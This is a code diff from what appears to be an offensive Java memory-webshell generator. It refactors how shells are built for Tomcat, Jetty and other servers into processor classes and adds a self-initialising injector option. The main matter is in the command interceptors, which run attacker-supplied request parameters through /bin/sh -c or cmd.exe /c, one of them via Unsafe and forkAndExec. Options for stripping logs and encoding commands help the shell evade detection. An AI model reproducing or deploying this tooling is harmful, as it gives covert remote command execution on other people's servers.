public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
|
public static final String UPGRADE = "Upgrade";
|
||||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
|
public static final String HANDLER = "Handler";
|
||||||
|
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||||
|
public static final String CUSTOMIZER = "Customizer";
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -41,4 +46,6 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
|
||||||
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 接收参数的请求头或请求参数名称
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 加密器
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 实现类
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String template;
|
||||||
|
|
||||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
public B paramName(String paramName) {
|
public B paramName(String paramName) {
|
||||||
|
|||||||
@@ -46,4 +46,9 @@ public class InjectorConfig {
|
|||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 添加静态代码块调用构造方法初始化
|
||||||
|
*/
|
||||||
|
private boolean staticInitialize;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -55,17 +55,28 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否使用回显模式
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean probe = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 追加 Lambda 类名后缀
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return shellType.startsWith(ShellType.JAKARTA);
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +21,9 @@ public class ShellToolConfig {
|
|||||||
*/
|
*/
|
||||||
private Class<?> shellClass;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
|
@JsonIgnore
|
||||||
|
private transient TypeDescription shellTypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
|
|||||||
-19
@@ -1,19 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/27
|
|
||||||
*/
|
|
||||||
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
|
||||||
protected final ShellConfig shellConfig;
|
|
||||||
protected final T shellToolConfig;
|
|
||||||
|
|
||||||
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.shellToolConfig = shellToolConfig;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+10
-25
@@ -1,15 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -29,35 +25,24 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
if (shellClass != null) {
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
if (shellToolConfig.getShellTypeDescription() == null) {
|
||||||
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
builder = builder
|
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-3
@@ -8,6 +8,7 @@ import net.bytebuddy.dynamic.ClassFileLocator;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
@@ -27,12 +28,19 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(className);
|
||||||
|
}
|
||||||
|
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
|
||||||
|
ClassFileLocator.Simple.of(className, classBytes),
|
||||||
|
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
|
||||||
|
);
|
||||||
TypeDescription typeDescription = new TypePool.Default(
|
TypeDescription typeDescription = new TypePool.Default(
|
||||||
new TypePool.CacheProvider.Simple(), classFileLocator,
|
new TypePool.CacheProvider.Simple(), compoundLocator,
|
||||||
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
||||||
).describe(className).resolve();
|
).describe(className).resolve();
|
||||||
|
shellToolConfig.setShellTypeDescription(typeDescription);
|
||||||
return new ByteBuddy()
|
return new ByteBuddy()
|
||||||
.redefine(typeDescription, classFileLocator);
|
.redefine(typeDescription, compoundLocator);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.*;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
@@ -59,6 +60,10 @@ public class InjectorGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
builder = StaticBlockSelfConstructorCall.extend(builder);
|
||||||
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
-42
@@ -1,42 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/22
|
|
||||||
*/
|
|
||||||
public class ListenerGenerator {
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
|
||||||
builder = builder
|
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
|
||||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
|
||||||
|
|
||||||
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
|
||||||
.getDeclaredMethods()
|
|
||||||
.filter(named("getFieldValue")
|
|
||||||
.and(takesArguments(Object.class, String.class)))
|
|
||||||
.isEmpty();
|
|
||||||
|
|
||||||
if (methodNotFound) {
|
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
|
||||||
.withParameters(Object.class, String.class)
|
|
||||||
.throwing(Exception.class)
|
|
||||||
.intercept(FixedValue.nullValue())
|
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public interface Processor<T> {
|
||||||
|
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
|
||||||
|
}
|
||||||
+52
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.processors.*;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public final class ProcessorRegistry {
|
||||||
|
|
||||||
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
|
new ListenerBuilderModifier(),
|
||||||
|
new ValveBuilderModifier(),
|
||||||
|
new JakartaBuilderModifier(),
|
||||||
|
new DebugOffBuilderModifier()
|
||||||
|
);
|
||||||
|
|
||||||
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
|
new ShrinkPostProcessor(),
|
||||||
|
new JettyHandlerPostProcessor()
|
||||||
|
);
|
||||||
|
|
||||||
|
private ProcessorRegistry() {
|
||||||
|
// Prevent instantiation
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> applyBuilderProcessors(
|
||||||
|
DynamicType.Builder<?> builder,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
|
||||||
|
builder = processor.process(builder, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] applyByteProcessors(
|
||||||
|
byte[] bytes,
|
||||||
|
ShellConfig shellConfig,
|
||||||
|
ShellToolConfig shellToolConfig) {
|
||||||
|
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
|
||||||
|
bytes = processor.process(bytes, shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
+8
-14
@@ -1,8 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.field(named("paramName"))
|
.field(named("paramName"))
|
||||||
.value(shellToolConfig.getParamName());
|
.value(shellToolConfig.getParamName());
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
@@ -52,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(RuntimeExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
.to(ForkAndExecInterceptor.class)
|
||||||
|
.on(named("getInputStream")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+23
-5
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
|
|||||||
*/
|
*/
|
||||||
public class ForkAndExecInterceptor {
|
public class ForkAndExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
try {
|
try {
|
||||||
String[] strs = cmd.split("\\s+");
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
|
|||||||
}
|
}
|
||||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
byte[][] args = new byte[cmdarray.length - 1][];
|
||||||
int size = args.length;
|
int size = args.length;
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
for (int i = 0; i < args.length; i++) {
|
||||||
args[i] = strs[i + 1].getBytes();
|
args[i] = cmdarray[i + 1].getBytes();
|
||||||
size += args[i].length;
|
size += args[i].length;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
|
|||||||
|
|
||||||
int[] envc = new int[1];
|
int[] envc = new int[1];
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
byte[] bytes = strs[0].getBytes();
|
byte[] bytes = cmdarray[0].getBytes();
|
||||||
byte[] result = new byte[bytes.length + 1];
|
byte[] result = new byte[bytes.length + 1];
|
||||||
System.arraycopy(bytes, 0,
|
System.arraycopy(bytes, 0,
|
||||||
result, 0,
|
result, 0,
|
||||||
|
|||||||
+23
-3
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
@@ -10,9 +11,28 @@ import java.io.InputStream;
|
|||||||
* @since 2025/5/25
|
* @since 2025/5/25
|
||||||
*/
|
*/
|
||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
@TemplateAnnotation String template
|
||||||
|
) throws IOException {
|
||||||
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", cmd);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
public @interface TemplateAnnotation {
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
